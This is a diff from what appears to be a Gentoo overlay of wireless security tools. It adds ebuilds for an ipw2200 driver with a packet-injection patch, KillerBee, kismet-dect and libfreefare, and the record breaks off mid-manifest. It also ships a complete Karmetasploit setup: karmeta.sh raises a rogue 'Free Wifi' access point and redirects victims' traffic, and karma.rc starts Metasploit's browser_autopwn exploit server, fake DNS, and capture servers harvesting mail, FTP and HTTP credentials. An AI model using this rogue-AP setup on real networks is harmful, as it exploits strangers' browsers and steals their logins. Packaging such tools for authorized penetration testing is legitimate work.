+ipw2200-1.0.6-r3.ebuild: + Apply bugfixes from upstream, bail out if no ieee80211 kernel module is found. + +*ipw2200-1.0.6-r2 (02 Sep 2005) + + 02 Sep 2005; Henrik Brix Andersen + +files/ipw2200-1.0.6-broadcast.patch, +ipw2200-1.0.6-r2.ebuild: + Fix DHCP issues with some Access Points. + +*ipw2200-1.0.6-r1 (29 Aug 2005) + + 29 Aug 2005; Henrik Brix Andersen + +files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch, + +files/ipw2200-1.0.6-suspend2.patch, +ipw2200-1.0.6-r1.ebuild: + Add fix for WPA when using hwcrypto. Allow compiling against + sys-kernel/suspend2-sources-2.6.13. + + 16 Aug 2005; Henrik Brix Andersen ipw2200-1.0.6.ebuild: + Stable on x86. + + 09 Aug 2005; Henrik Brix Andersen ipw2200-1.0.6.ebuild: + Added ~amd64 keyword, bug #98823. + +*ipw2200-1.0.6 (14 Jul 2005) + + 14 Jul 2005; +ipw2200-1.0.6.ebuild: + Version bump. + +*ipw2200-1.0.5 (12 Jul 2005) + + 12 Jul 2005; +ipw2200-1.0.5.ebuild: + Version bump. + + 11 Jul 2005; ipw2200-1.0.1.ebuild, ipw2200-1.0.3.ebuild, + ipw2200-1.0.4.ebuild: + Block upcoming net-wireless/ieee80211 package. + + 24 Jun 2005; + +files/ipw2200-1.0.1-is_multicast_ether_addr.patch, + +files/ipw2200-1.0.1-suspend2.patch, +ipw2200-1.0.1.ebuild: + Resurrected for the 2005.1 livecd. + + 20 Jun 2005; + +files/ipw2200-1.0.3-is_multicast_ether_addr.patch, ipw2200-1.0.3.ebuild: + Backported patch to 1.0.3, bug #96495. + + 18 Jun 2005; + +files/ipw2200-1.0.4-is_multicast_ether_addr.patch, ipw2200-1.0.4.ebuild: + Apply patch for allow compiling against linux-2.6.12. + +*ipw2200-1.0.4 (18 May 2005) + + 18 May 2005; +ipw2200-1.0.4.ebuild: + Version bump. This release includes monitor mode and hardware-based crypto + support. + + 15 May 2005; -ipw2200-1.0.1.ebuild, + -ipw2200-1.0.2.ebuild, -ipw2200-1.0.2-r1.ebuild: + Pruned old ebuilds. + + 05 May 2005; +files/ipw2200-1.0.3-suspend2.patch, + ipw2200-1.0.3.ebuild: + Allow compiling against Software Suspend 2.1.8.7 patched kernel, + restructured ebuild. + + 04 May 2005; ipw2200-1.0.3.ebuild: + Stable on x86. + + 28 Apr 2005; ipw2200-1.0.2-r1.ebuild: + Stable on x86. + +*ipw2200-1.0.3 (08 Apr 2005) + + 08 Apr 2005; +ipw2200-1.0.3.ebuild: + Version bump. + +*ipw2200-1.0.2-r1 (05 Apr 2005) + + 05 Apr 2005; +ipw2200-1.0.2-r1.ebuild: + Fix problem with wrong tarball propagated on sf.net + +*ipw2200-1.0.2 (25 Mar 2005) + + 25 Mar 2005; ipw2200-1.0.1.ebuild, +ipw2200-1.0.2.ebuild: + Version bump and fix for bug #84508. + + 12 Mar 2005; Henrik Brix Andersen -ipw2200-1.0.0.ebuild: + Pruned old version. + + 02 Mar 2005; Henrik Brix Andersen ipw2200-1.0.1.ebuild: + Stable on x86. + + 25 Feb 2005; Simon Stelling ipw2200-1.0.1.ebuild: + added ~amd64 + + 10 Feb 2005; Henrik Brix Andersen -ipw2200-0.11.ebuild, + -ipw2200-0.12.ebuild, -ipw2200-0.13.ebuild, -ipw2200-0.15.ebuild, + -ipw2200-0.16.ebuild, -ipw2200-0.17.ebuild, -ipw2200-0.18.ebuild, + -ipw2200-0.19.ebuild, -ipw2200-0.21.ebuild: + Pruned old versions. + +*ipw2200-1.0.1 (08 Feb 2005) + + 08 Feb 2005; Henrik Brix Andersen +ipw2200-1.0.1.ebuild: + Version bump. This version includes preliminary WPA support. + + 01 Feb 2005; Henrik Brix Andersen metadata.xml: + Transferred ownership to brix@gentoo.org. + + 01 Feb 2005; Jeremy Maitin-Shepard ipw2200-1.0.0.ebuild: + Replaced the ebuild with the correct version of the v 0.21 ebuild. + +*ipw2200-1.0.0 (01 Feb 2005) + + 01 Feb 2005; Jeremy Maitin-Shepard +ipw2200-1.0.0.ebuild: + Version bump. + +*ipw2200-0.21 (18 Jan 2005) + + 18 Jan 2005; Henrik Brix Andersen +ipw2200-0.21.ebuild: + Version bump, ported to use linux-mod.eclass, split firmware from ebuild, + re-enabled debug, disabled yet-to-be-completed WPA and promiscuous support. + + 18 Jan 2005; Henrik Brix Andersen ipw2200-0.11.ebuild, + ipw2200-0.12.ebuild, ipw2200-0.13.ebuild, ipw2200-0.15.ebuild, + ipw2200-0.16.ebuild, ipw2200-0.17.ebuild, ipw2200-0.18.ebuild, + ipw2200-0.19.ebuild: + Block net-wireless/ipw2200-firmware in preparation for splitting firmware from + driver ebuild. + +*ipw2200-0.19 (22 Dec 2004) + + 22 Dec 2004; Jeremy Maitin-Shepard +ipw2200-0.19.ebuild: + Version bump. + +*ipw2200-0.18 (14 Dec 2004) + + 14 Dec 2004; Jeremy Maitin-Shepard +ipw2200-0.18.ebuild: + Version bump. Resolves bug #73801. + +*ipw2200-0.16 (11 Dec 2004) + + 11 Dec 2004; Jeremy Maitin-Shepard +ipw2200-0.16.ebuild, + +ipw2200-0.17.ebuild: + Version bump. Resolves bug #73801. + +*ipw2200-0.15 (25 Nov 2004) + + 25 Nov 2004; Jeremy Maitin-Shepard +ipw2200-0.15.ebuild, + -ipw2200-0.3.ebuild, -ipw2200-0.4-r1.ebuild, -ipw2200-0.4.ebuild, + -ipw2200-0.5.ebuild, -ipw2200-0.6.ebuild, -ipw2200-0.7.ebuild, + -ipw2200-0.8.ebuild: + Version bump. Resolves Bug #72473. + +*ipw2200-0.13 (11 Nov 2004) + + 11 Nov 2004; Jeremy Maitin-Shepard +ipw2200-0.13.ebuild: + Version bump. + +*ipw2200-0.12 (16 Oct 2004) + + 16 Oct 2004; Jeremy Maitin-Shepard +ipw2200-0.12.ebuild: + Version bump. Firmware is now installed to /lib/firmware, with a symlink to + /usr/lib/hotplug/firmware, rather than the reverse. Resolves bug #67641. + +*ipw2200-0.11 (01 Oct 2004) + + 01 Oct 2004; Jeremy Maitin-Shepard +ipw2200-0.11.ebuild: + Version bump. Creates symlinks to the firmware in the new firmware location. + Resolves bug #65784 and bug #65059. + +*ipw2200-0.8 (19 Sep 2004) + + 19 Sep 2004; Jeremy Maitin-Shepard +ipw2200-0.8.ebuild: + Version bump. + +*ipw2200-0.7 (04 Sep 2004) + + 04 Sep 2004; Jeremy Maitin-Shepard +ipw2200-0.7.ebuild: + Version bump. + +*ipw2200-0.6 (02 Sep 2004) + + 02 Sep 2004; Jeremy Maitin-Shepard +ipw2200-0.6.ebuild: + Version bump. Resolves bug #62653. + +*ipw2200-0.5 (02 Sep 2004) + + 02 Sep 2004; Jeremy Maitin-Shepard +ipw2200-0.5.ebuild: + Version bump. Resolves bug #62445. + +*ipw2200-0.4-r1 (17 Aug 2004) + + 17 Aug 2004; Jeremy Maitin-Shepard ipw2200-0.3.ebuild, + +ipw2200-0.4-r1.ebuild, ipw2200-0.4.ebuild: + A block on net-wireless/ipw2100 was added to all versions, at the + request of latexer, because the ieee80211 module is built by both + packages. + WPA support is now built, starting with 0.4-r1. + + 16 Aug 2004; Jeremy Maitin-Shepard ipw2200-0.4.ebuild: + Added a check for ARC4 cryptographic support in the kernel. + +*ipw2200-0.4 (16 Aug 2004) + + 16 Aug 2004; Jeremy Maitin-Shepard +ipw2200-0.4.ebuild: + Version bump. Resolves Bug #60614. + +*ipw2200-0.3 (14 Aug 2004) + + 14 Aug 2004; Jeremy Maitin-Shepard +ipw2200-0.3.ebuild: + Initial ebuild, based on the ebuild for the 2100 driver, for the first + version of this driver that actually supports transmitting and + receiving data. WEP, G-band and Ad-hoc mode are currently not + supported by the driver. Resolves Bug #60288. + diff --git a/net-wireless/ipw2200/Manifest b/net-wireless/ipw2200/Manifest new file mode 100644 index 00000000..85198a7f --- /dev/null +++ b/net-wireless/ipw2200/Manifest @@ -0,0 +1,5 @@ +AUX ipw2200-1.2.0-inject.patch 2896 RMD160 dcdbe9440eaa7c5f8df13f1b1b50cd6fa8e2f823 SHA1 541e533ab8cee5127c812a376c6ec337c320f041 SHA256 c7df435dec979d6febb2e52faafe2ba9e7c3338f982f3d63109209fed58d8cc2 +AUX ipw2200-1.2.0-modverdir.patch 528 RMD160 1b704ed1ae7773ff403ea01184d39918af3a7ed0 SHA1 ae4aec08a23189a8906d37f832ef404ed6210838 SHA256 9ae31bf0d63b9c31cf74be1eeb0178da0bdedc90ab9a743397e917b7a32e8e7c +DIST ipw2200-1.2.0.tgz 139374 RMD160 5b2e6836a552b82b0320f84b088addec21863b21 SHA1 d2b327357afc94a94701d260936b037abf4212e8 SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074 +EBUILD ipw2200-1.2.0.ebuild 2408 RMD160 93965ae3d4e390cb39fb56dad2f621bd584c56bb SHA1 4d85d1c2ef98817e5d30c58d5a09abc62a08a39e SHA256 56c3aec2b275c3d638fbb937e307fc11160e1da5381d96ad0d2b96f1a97024f3 +MISC ChangeLog 13729 RMD160 f6e6431eead73866f1e7bf8eb7c8d186d7708a3c SHA1 459f158a974254132003227ec5de51bbfeda7a09 SHA256 180654c43d98a27a15b79bcdbaca60ccdf15b3db708a200f1f6ed1700277b94c diff --git a/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 new file mode 100644 index 00000000..7e92a718 --- /dev/null +++ b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 @@ -0,0 +1,3 @@ +MD5 cfd26b4526186d61a4feeaee217493b9 ipw2200-1.2.0.tgz 139374 +RMD160 5b2e6836a552b82b0320f84b088addec21863b21 ipw2200-1.2.0.tgz 139374 +SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074 ipw2200-1.2.0.tgz 139374 diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch new file mode 100644 index 00000000..2ce56d84 --- /dev/null +++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch @@ -0,0 +1,98 @@ +diff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c +--- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200 ++++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200 +@@ -1945,6 +1945,66 @@ + static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, + show_net_stats, store_net_stats); + ++static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri); ++ ++/* SYSFS INJECT */ ++static ssize_t store_inject(struct device *d, ++#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12) ++ struct device_attribute *attr, ++#endif ++ const char *buf, size_t count) ++{ ++ struct ipw_priv *priv = (struct ipw_priv *)d->driver_data; ++ struct ieee80211_device *ieee = priv->ieee; ++ struct ieee80211_txb * txb; ++ struct sk_buff *skb_frag; ++ unsigned char * newbuf; ++ unsigned long flags; ++ ++ // should test (ieee->is_queue_full) ++ ++ // Fw only accepts data, so avoid accidental fw errors. ++ if ( (buf[0]&0x0c) != '\x08') { ++ //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); ++ return count; ++ } ++ ++ if (count>1500) { ++ count=1500; ++ printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); ++ } ++ ++ spin_lock_irqsave(&priv->lock, flags); ++ ++ // Create a txb with one skb ++ txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC); ++ if (!txb) ++ goto nosepuede; ++ txb->nr_frags=1; ++ txb->frag_size = ieee->tx_headroom; ++ txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); ++ if (!txb->fragments[0]) { ++ kfree(txb); ++ goto nosepuede; ++ } ++ skb_reserve(txb->fragments[0], ieee->tx_headroom); ++ txb->encrypted=0; ++ txb->payload_size=count; ++ skb_frag = txb->fragments[0]; ++ newbuf=skb_put(skb_frag, count); ++ ++ // copy data into txb->skb and send it ++ memcpy(newbuf, buf, count); ++ ++ ipw_tx_skb(priv, txb, 0); ++ ++nosepuede: ++ spin_unlock_irqrestore(&priv->lock, flags); ++ return count; ++} ++ ++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); ++ + static void notify_wx_assoc_event(struct ipw_priv *priv) + { + union iwreq_data wrqu; +@@ -11478,6 +11538,7 @@ + #ifdef CONFIG_IPW2200_PROMISCUOUS + &dev_attr_rtap_iface.attr, + &dev_attr_rtap_filter.attr, ++ &dev_attr_inject.attr, + #endif + NULL + }; +diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile +--- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200 ++++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200 +@@ -30,14 +30,14 @@ + # simply uncomment: + # + # NOTE: To use RADIOTAP you must also enable MONITOR above. +-#CONFIG_IPW2200_RADIOTAP=y ++CONFIG_IPW2200_RADIOTAP=y + + # The above monitor mode provides standard monitor mode. The following + # will create a new interface (named rtap%d) which will be sent all + # 802.11 frames received on the interface + # + # NOTE: To use PROMISCUOUS you must also enable MONITOR above. +-#CONFIG_IPW2200_PROMISCUOUS=y ++CONFIG_IPW2200_PROMISCUOUS=y + + endif + diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch new file mode 100644 index 00000000..12d70206 --- /dev/null +++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch @@ -0,0 +1,20 @@ +Index: ipw2200-1.2.0/Makefile +=================================================================== +--- ipw2200-1.2.0.orig/Makefile ++++ ipw2200-1.2.0/Makefile +@@ -153,14 +153,8 @@ clean: + distclean: clean + rm -f tags TAGS + +-TMP=$(PWD)/tmp +-MODVERDIR=$(TMP)/.tmp_versions +- + modules: +- mkdir -p $(MODVERDIR) +- -cp $(IEEE80211_MODVERDIR)/*.mod $(MODVERDIR) +- -cp $(IEEE80211_MODVERDIR)/../Modules.symvers $(PWD) +- $(MAKE) -C $(KSRC) M=$(PWD) MODVERDIR=$(MODVERDIR) modules ++ $(MAKE) -C $(KSRC) M=$(PWD) modules + + + patch_kernel: diff --git a/net-wireless/ipw2200/ipw2200-1.2.0.ebuild b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild new file mode 100644 index 00000000..697fdf34 --- /dev/null +++ b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild @@ -0,0 +1,87 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils linux-mod + +# The following works with both pre-releases and releases +MY_P=${P/_/-} +S=${WORKDIR}/${MY_P} + +IEEE80211_VERSION="1.2.15" +FW_VERSION="3.0" + +DESCRIPTION="Driver for the Intel 2200BG/2915ABG miniPCI/PCI adapters patched with modified inject patches" +HOMEPAGE="http://ipw2200.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +IUSE="debug inject" +DEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION} + sys-apps/sed" +RDEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION} + >=net-wireless/ipw2200-firmware-${FW_VERSION} + net-wireless/wireless-tools" + +BUILD_TARGETS="all" +MODULE_NAMES="ipw2200(net/wireless:)" +MODULESD_IPW2200_DOCS="README.ipw2200" + +CONFIG_CHECK="NET_RADIO FW_LOADER !IPW2200" +ERROR_NET_RADIO="${P} requires support for Wireless LAN drivers (non-hamradio) & Wireless Extensions (CONFIG_NET_RADIO)." +ERROR_FW_LOADER="${P} requires Hotplug firmware loading support (CONFIG_FW_LOADER)." +ERROR_IPW2200="${P} requires the in-kernel version of the IPW2200 driver to be disabled (CONFIG_IPW2200)" + +pkg_setup() { + linux-mod_pkg_setup + + if kernel_is 2 4; then + die "${P} does not support building against kernel 2.4.x" + fi + + if [[ ! -f ${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} ]]; then + eerror + eerror "Looks like you forgot to remerge net-wireless/ieee80211 after" + eerror "upgrading your kernel." + eerror + eerror "Hint: use sys-kernel/module-rebuild for keeping track of which" + eerror "modules needs to be remerged after a kernel upgrade." + eerror + die "${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} not found" + fi + + BUILD_PARAMS="KSRC=${KV_DIR} KSRC_OUTPUT=${KV_OUT_DIR} IEEE80211_INC=/usr/include" +} + +src_unpack() { + local debug="n" radiotap="n" + + unpack ${A} + + cd "${S}" + epatch "${FILESDIR}/${P}-modverdir.patch" + if use inject; then + epatch "${FILESDIR}/${P}-inject.patch" + fi + + use debug && debug="y" + sed -i -e "s:^\(CONFIG_IPW2200_DEBUG\)=.*:\1=${debug}:" "${S}"/Makefile +} + +src_compile() { + linux-mod_src_compile + + einfo + einfo "You may safely ignore any warnings from above compilation about" + einfo "undefined references to the ieee80211 subsystem." + einfo +} + +src_install() { + linux-mod_src_install + + dodoc CHANGES ISSUES +} diff --git a/net-wireless/karmetasploit/Manifest b/net-wireless/karmetasploit/Manifest new file mode 100644 index 00000000..dfe0d840 --- /dev/null +++ b/net-wireless/karmetasploit/Manifest @@ -0,0 +1,4 @@ +AUX karma.rc 1088 RMD160 baa771e9bb2e7d61309364e6a16a97dcf1267ae0 SHA1 93056b24cc00130110935b7d9fdca57a9cc960f0 SHA256 99c1306409f8ccdbd1ced819bc25d546904c2c07cd127ffc8a37faae54d04723 +AUX karmeta-dhcpd.conf 283 RMD160 b45e409f957c28f93c3472aa48686a3a3a935668 SHA1 a6176ce8d7935ca27c81f4b0ce9ed56e23addd87 SHA256 b44406c7dc3c6b9364131813f8c6d35867ae05292a0bef0ed33c46af264b2985 +AUX karmeta.sh 969 RMD160 a059f274c68ea8403fdc155ac1b638401d15a21d SHA1 3adb2bb0c266f46921bda923c3275abb82767be7 SHA256 a733f2ed0e9126ffed1aa3f51b35ddfbc4f96664ef2cb88ea4dfea43553fd731 +EBUILD karmetasploit-0.1-r2.ebuild 577 RMD160 c15a4a0bc784c1bdcc585026836fe3e8c2fba20c SHA1 89358694f22bff1d31bf87392f0a3423823e9050 SHA256 4a03f6ca3478a83e14e36a7019b285b754f763b14e872f22e2db3242a4f331ff diff --git a/net-wireless/karmetasploit/files/karma.rc b/net-wireless/karmetasploit/files/karma.rc new file mode 100644 index 00000000..b98a27b6 --- /dev/null +++ b/net-wireless/karmetasploit/files/karma.rc @@ -0,0 +1,80 @@ +load db_sqlite3 +db_create /root/karma.db + +use auxiliary/server/browser_autopwn + +setg AUTOPWN_HOST 10.0.0.1 +setg AUTOPWN_PORT 55550 +setg AUTOPWN_URI /ads + +set LHOST 10.0.0.1 +set LPORT 45000 +set SRVPORT 55550 +set URIPATH /ads + +run + + + +use auxiliary/server/capture/pop3 +set SRVPORT 110 +set SSL false +run + +use auxiliary/server/capture/pop3 +set SRVPORT 995 +set SSL true +run + +use auxiliary/server/capture/ftp +run + +use auxiliary/server/capture/imap +set SSL false +set SRVPORT 143 +run + +use auxiliary/server/capture/imap +set SSL true +set SRVPORT 993 +run + +use auxiliary/server/capture/smtp +set SSL false +set SRVPORT 25 +run + +use auxiliary/server/capture/smtp +set SSL true +set SRVPORT 465 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 5353 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 53 +run + +use auxiliary/server/capture/http +set SRVPORT 80 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 8080 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 443 +set SSL true +run + +use auxiliary/server/capture/http +set SRVPORT 8443 +set SSL true +run diff --git a/net-wireless/karmetasploit/files/karmeta-dhcpd.conf b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf new file mode 100644 index 00000000..7c1a2c6c --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf @@ -0,0 +1,16 @@ +option domain-name-servers 10.0.0.1; + +default-lease-time 600; +max-lease-time 720; + +ddns-update-style none; + +authoritative; + +log-facility local7; + +subnet 10.0.0.0 netmask 255.255.255.0 { + range 10.0.0.2 10.0.0.254; + option routers 10.0.0.1; + option domain-name-servers 10.0.0.1; +} diff --git a/net-wireless/karmetasploit/files/karmeta.sh b/net-wireless/karmetasploit/files/karmeta.sh new file mode 100755 index 00000000..f163e481 --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta.sh @@ -0,0 +1,34 @@ +#!/bin/bash +echo "karmetasploit script by kingtuna: super ultra mega alpha version" +echo "warning: this currently leaves your system in a funny state." +echo "you may have to remove monitor interfaces and kill dhcpd and airbase-ng manually" +killall -9 airbase-ng dhcpd +iptables --flush + +#airmon-ng stop mon0 +if [ x"$1" != x ] +then +airmon-ng start $1 +else +echo "Please specify a device to use as AP" +exit +fi + +#modprobe tun + +/usr/sbin/airbase-ng -P -C 30 -c 6 -e "Free Wifi" -v mon0 > /dev/null 2>&1 & +sleep 2 +ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig eth0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig mon0 up 10.0.0.1 netmask 255.255.255.0 +route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 +sleep 2 +LEASEFILE="/var/lib/dhcp/dhcpd.leases" +if [ ! -f "$LEASEFILE" ]; then + touch $LEASEFILE +fi +/usr/sbin/dhcpd -cf /etc/karmeta-dhcpd.conf +sleep 2 +ifconfig at0 mtu 1400 +iptables -t nat -A PREROUTING -i at0 -j REDIRECT +/usr/bin/msfconsole3 -r /etc/karma.rc diff --git a/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild new file mode 100644 index 00000000..e9c2c1b1 --- /dev/null +++ b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild @@ -0,0 +1,26 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="KARMA + Metasploit 3 == Karmetasploit" +#karmetasploit + kingtuna script +HOMEPAGE="http://dev.metasploit.com/redmine/projects/framework/wiki/Karmetasploit" + +LICENSE="GPL-2" +KEYWORDS="amd64 arm x86" +SLOT="0" + +IUSE="" + +DEPEND="" +RDEPEND="net-analyzer/metasploit + net-wireless/aircrack-ng + net-misc/dhcp" + +src_install() { + dosbin "${FILESDIR}"/karmeta.sh + + dodir /etc + insinto /etc + doins "${FILESDIR}"/karmeta-dhcpd.conf "${FILESDIR}"/karma.rc +} diff --git a/net-wireless/killerbee/Manifest b/net-wireless/killerbee/Manifest new file mode 100644 index 00000000..6e3f70ca --- /dev/null +++ b/net-wireless/killerbee/Manifest @@ -0,0 +1 @@ +EBUILD killerbee-9999.ebuild 901 RMD160 8136517e65d1ea4db6a887a8f8170ce0a4ee3e20 SHA1 f80a75fa959b1d1899ea9f70e4dc3b22a796864a SHA256 846c6a109e2a4b8d051b9d027c9bdca9889a06431bf9cfc681d4bd4c3ee6df2f diff --git a/net-wireless/killerbee/killerbee-9999.ebuild b/net-wireless/killerbee/killerbee-9999.ebuild new file mode 100644 index 00000000..1324527b --- /dev/null +++ b/net-wireless/killerbee/killerbee-9999.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit subversion distutils + +DESCRIPTION="KillerBee is a framework and tool set for testing of ZigBee and IEEE 802.15.4 networks" +HOMEPAGE="http://killerbee.googlecode.com" +SRC_URI="" +ESVN_REPO_URI="http://killerbee.googlecode.com/svn/trunk/killerbee" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="doc" + +DEPEND="doc? ( dev-python/epydoc ) + ${RDEPEND}" +RDEPEND="dev-python/pycairo + dev-python/pyusb + dev-python/pycrypto + dev-python/pygtk" + +src_compile() { + if use doc; then + mkdir pdf + epydoc --pdf -o pdf killerbee/ + fi + ewarn "I'm too lazy to make the docs ship, feel free to fix it." +} + +src_install() { + distutils_src_install + if use doc; then + dodoc "${S}/pdf/*.tex" + fi +} + +pkg_postinst() { + python_mod_optimize +} + +pkg_postrm() { + python_mod_cleanup +} diff --git a/net-wireless/kismet-dect/Manifest b/net-wireless/kismet-dect/Manifest new file mode 100644 index 00000000..097c73ee --- /dev/null +++ b/net-wireless/kismet-dect/Manifest @@ -0,0 +1 @@ +EBUILD kismet-dect-9999.ebuild 1023 RMD160 08284b20b2229acd0d4670810b480b2ef76f3fb0 SHA1 a3054263647c97de3e74ed4f4f60cef6c6cc9e4b SHA256 b17d575ccd3a6dcaac2953d0695f0c06035ce0894ef3c05d6f0a32840cd5e833 diff --git a/net-wireless/kismet-dect/kismet-dect-9999.ebuild b/net-wireless/kismet-dect/kismet-dect-9999.ebuild new file mode 100644 index 00000000..865ba18d --- /dev/null +++ b/net-wireless/kismet-dect/kismet-dect-9999.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit subversion + +DESCRIPTION="DECT plugin for kismet" +HOMEPAGE="https://dedected.org/" +SRC_URI="" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND=">=net-wireless/kismet-2009.11.1-r1 + net-wireless/dedected" + +ESVN_REPO_URI="https://dedected.org/svn/trunk/kismet-dect" + +src_prepare() { + # build with custom CFLAGS + sed -i -e "s/-g/${CFLAGS}/g" server_module/Makefile + sed -i -e "s/-fPIC/${CFLAGS} -fPIC/g" client_module/Makefile +} + +src_compile() { + make KIS_SRC_DIR="/usr/include/kismet/" -C client_module || die "failed to compile client module" + make KIS_SRC_DIR="/usr/include/kismet/" -C server_module || die "failed to compile server module" +} + +src_install() { + make KIS_DEST_DIR="${D}/usr/" -C client_module install || die "failed to install client module" + make KIS_DEST_DIR="${D}/usr/" -C server_module install || die "failed to install server module" +} diff --git a/net-wireless/libfreefare/Manifest b/net-wireless/libfreefare/Manifest new file mode 100644 index 00000000..1f4151c1 --- /dev/null +++ b/net-wireless/libfreefare/Manifest @@ -0,0 +1,2 @@ +DIST libfreefare-0.3.2.tar.gz 442844 RMD160 1a46647d4edd87be7ca19e53a48bd74077b8c211 SHA1 72131695e60399bdd6bd15900aca3231315ca13b SHA256 aaa3017cba50fa857a12468a9d58b705db18527ad8ffc7f6a06590e147f614d6 +EBUILD libfreefare-0.3.2.ebuild 458 RMD160 5eee2fc0ddd8b383a31d0dc6027f640c5618395e SHA1 4559d9b695fdfd2d7852c2dbde7cce6f2d566bea SHA256 4f804b4c57a722ed2cd73f578858e2544adf99b711315ea7398482b7667c1936 diff --git a/net-wireless/libfreefare/libfreefare-0.3.2.ebuild b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild new file mode 100644 index 00000000..e38f5db2 --- /dev/null +++ b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild @@ -0,0 +1,21 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +DESCRIPTION="a library for high level manipulation of MIFARE tags" +HOMEPAGE="https://code.google.com/p/nfc-tools/" +SRC_URI="https://nfc-tools.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64" +IUSE="" + +DEPEND="dev-lib/libnfc" +RDEPEND="${DEPEND}" + +src_install() { + DESTDIR="${D}" emake install || die +} diff --git a/net-wireless/linux-wlan-ng-modules/Manifest b/net-wireless/linux-wlan-ng-modules/Manifest new file mode 100644 index 00000000..d9e108a1 --- /dev/null +++ b/net-wireless/linux-wlan-ng-modules/Manifest @@ -0,0 +1,3 @@ +AUX linux-wlan-0.2.3.packet.injection.patch 12854 RMD160 80605f429332acaa974ffe6c77f068709a8aeb75 SHA1 f56a4656a59aee3bf48611958ef0d1ff4d02705a SHA256 75b3b928b5d1ecea8e818f431f780235bcd1cefe592d00dd19b717c0631cb87c +DIST linux-wlan-ng-0.2.5.tar.bz2 457056 RMD160 3bd08380d9bd131ad960a8b3c9dd87972254357a SHA1 6f95e8e63b3271e3d6b88ec0eb267027b8c6d436 SHA256 882f5fe8c3e3a2538f59e96d002866aea1ce3ad33396da0cea7721455f4a42be +EBUILD linux-wlan-ng-modules-0.2.5.ebuild 2344 RMD160 3fd869b8293fa4742436d5c97c2480fe5c34b695 SHA1 cabcf854319046e4a84367053e346c901cf2edbb SHA256 9674c1ad2274fcfee8e935e1870b9f5fa5871125cded304efd42464c90b85854 diff --git a/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5 b/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5 new file mode 100644 index 00000000..f91173cb --- /dev/null +++ b/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5 @@ -0,0 +1,3 @@ +MD5 b4f6eb438533f73cd456e5ee7a3f722a linux-wlan-ng-0.2.5.tar.bz2 457056 +RMD160 3bd08380d9bd131ad960a8b3c9dd87972254357a linux-wlan-ng-0.2.5.tar.bz2 457056 +SHA256 